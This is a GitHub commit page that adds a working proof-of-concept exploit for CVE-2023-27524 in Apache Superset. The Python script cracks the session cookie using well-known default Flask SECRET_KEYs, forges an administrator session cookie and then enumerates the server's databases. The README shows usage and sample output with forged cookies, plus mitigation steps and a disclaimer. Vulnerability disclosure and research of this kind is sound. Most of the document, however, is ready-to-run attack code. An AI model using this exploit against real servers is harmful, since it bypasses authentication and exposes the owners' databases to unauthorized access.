forked from horizon3ai/CVE-2023-27524
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
198 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,128 @@ | ||
from flask_unsign import session | ||
import requests | ||
import urllib3 | ||
import argparse | ||
import re | ||
from time import sleep | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
|
||
|
||
SECRET_KEYS = [ | ||
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1 | ||
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1 | ||
b'thisISaSECRET_1234', # deployment template | ||
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation | ||
b'TEST_NON_DEV_SECRET' # docker compose | ||
] | ||
|
||
def main(): | ||
|
||
parser = argparse.ArgumentParser() | ||
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True) | ||
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1') | ||
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true') | ||
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5) | ||
args = parser.parse_args() | ||
|
||
try: | ||
u = args.url.rstrip('/') + '/login/' | ||
|
||
headers = { | ||
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0' | ||
} | ||
|
||
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) | ||
if resp.status_code != 200: | ||
print(f'Error retrieving login page at {u}, status code: {resp.status_code}') | ||
return | ||
|
||
session_cookie = None | ||
for c in resp.cookies: | ||
if c.name == 'session': | ||
session_cookie = c.value | ||
break | ||
|
||
if not session_cookie: | ||
print('Error: No session cookie found') | ||
return | ||
|
||
print(f'Got session cookie: {session_cookie}') | ||
|
||
try: | ||
decoded = session.decode(session_cookie) | ||
print(f'Decoded session cookie: {decoded}') | ||
except: | ||
print('Error: Not a Flask session cookie') | ||
return | ||
|
||
match = re.search(r'"version_string": "(.*?)"', resp.text) | ||
if match: | ||
version = match.group(1) | ||
else: | ||
version = 'Unknown' | ||
|
||
print(f'Superset Version: {version}') | ||
|
||
|
||
for i, k in enumerate(SECRET_KEYS): | ||
cracked = session.verify(session_cookie, k) | ||
if cracked: | ||
break | ||
|
||
if not cracked: | ||
print('Failed to crack session cookie') | ||
return | ||
|
||
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}') | ||
|
||
try: | ||
user_id = int(args.id) | ||
except: | ||
user_id = args.id | ||
|
||
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k) | ||
print(f'Forged session cookie for user {user_id}: {forged_cookie}') | ||
|
||
if args.validate: | ||
try: | ||
headers['Cookie'] = f'session={forged_cookie}' | ||
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...') | ||
sleep(args.timeout) | ||
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False) | ||
if resp.status_code == 302: | ||
print(f'Got 302 on login, forged cookie appears to have been accepted') | ||
validated = True | ||
else: | ||
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.') | ||
except Exception as e_inner: | ||
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.') | ||
|
||
if not validated: | ||
return | ||
|
||
print('Enumerating databases') | ||
for i in range(1, 101): | ||
database_url_base = args.url.rstrip('/') + '/api/v1/database' | ||
try: | ||
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False) | ||
if r.status_code == 200: | ||
result = r.json()['result'] # validate response is JSON | ||
name = result['database_name'] | ||
print(f'Found database {name}') | ||
elif r.status_code == 404: | ||
print(f'Done enumerating databases') | ||
break # no more databases | ||
else: | ||
print(f'Unexpected error: status code={r.status_code}') | ||
break | ||
except Exception as e_inner: | ||
print(f'Unexpected error: {e_inner}') | ||
break | ||
|
||
|
||
except Exception as e: | ||
print(f'Unexpected error: {e}') | ||
|
||
|
||
if __name__ == '__main__': | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
# CVE-2023-27524: Apache Superset Auth Bypass | ||
Script to check if an Apache Superset server is running with an insecure default configuration (CVE-2023-27524). The script checks if a Superset server's session cookies are signed with any well-known default Flask SECRET_KEYs. | ||
|
||
The `--validate` flag can be used to validate the Superset server exploitability by enumerating databases using the Superset API. | ||
|
||
## Blog Post | ||
More details here: | ||
https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset | ||
|
||
## Usage | ||
|
||
``` | ||
% python3 CVE-2023-27524.py -h | ||
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT] | ||
optional arguments: | ||
-h, --help show this help message and exit | ||
--url URL, -u URL Base URL of Superset instance | ||
--id ID User ID to forge session cookie for, default=1 | ||
--validate, -v Validate login | ||
--timeout TIMEOUT, -t TIMEOUT | ||
Time to wait before using forged session cookie, default=5s | ||
``` | ||
|
||
## Basic Example | ||
|
||
``` | ||
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 | ||
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek | ||
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'} | ||
Superset Version: 2.0.1 | ||
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET' | ||
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg | ||
``` | ||
|
||
## Example with Proof of Exploitability | ||
|
||
``` | ||
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate | ||
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0 | ||
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'} | ||
Superset Version: 2.0.1 | ||
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET' | ||
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU | ||
Sleeping 5 seconds before using forged cookie to account for time drift... | ||
Got 302 on login, forged cookie appears to have been accepted | ||
Enumerating databases | ||
Found database examples | ||
Found database PostgreSQL | ||
Done enumerating databases | ||
``` | ||
|
||
## Troubleshooting | ||
If the script detects a SECRET_KEY in use but is not able to validate exploitability, it could be because: | ||
- target server is integrated with SSO and user ids don't follow the auto-increment format (try the `--id` argument to set a specific user_id if you know it) | ||
- no user has been configured yet | ||
- time drift between target and your machine. Flask session cookies are signed with a timestamp element. Try increasing the 5 second sleep interval in code. | ||
|
||
## Mitigations | ||
Follow the [instructions here](https://superset.apache.org/docs/installation/configuring-superset/) to generate and configure a Flask SECRET_KEY. The `superset` CLI tool can be used to [rotate the SECRET_KEY](https://superset.apache.org/docs/installation/configuring-superset/#secret_key-rotation) so that existing database connection information is preserved. | ||
|
||
## Follow the Horizon3.ai Attack Team on Twitter for the latest security research: | ||
* [Horizon3 Attack Team](https://twitter.com/Horizon3Attack) | ||
* [James Horseman](https://twitter.com/JamesHorseman2) | ||
* [Zach Hanley](https://twitter.com/hacks_zach) | ||
|
||
## Disclaimer | ||
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
flask-unsign==1.2.0 | ||
requests==2.26.0 |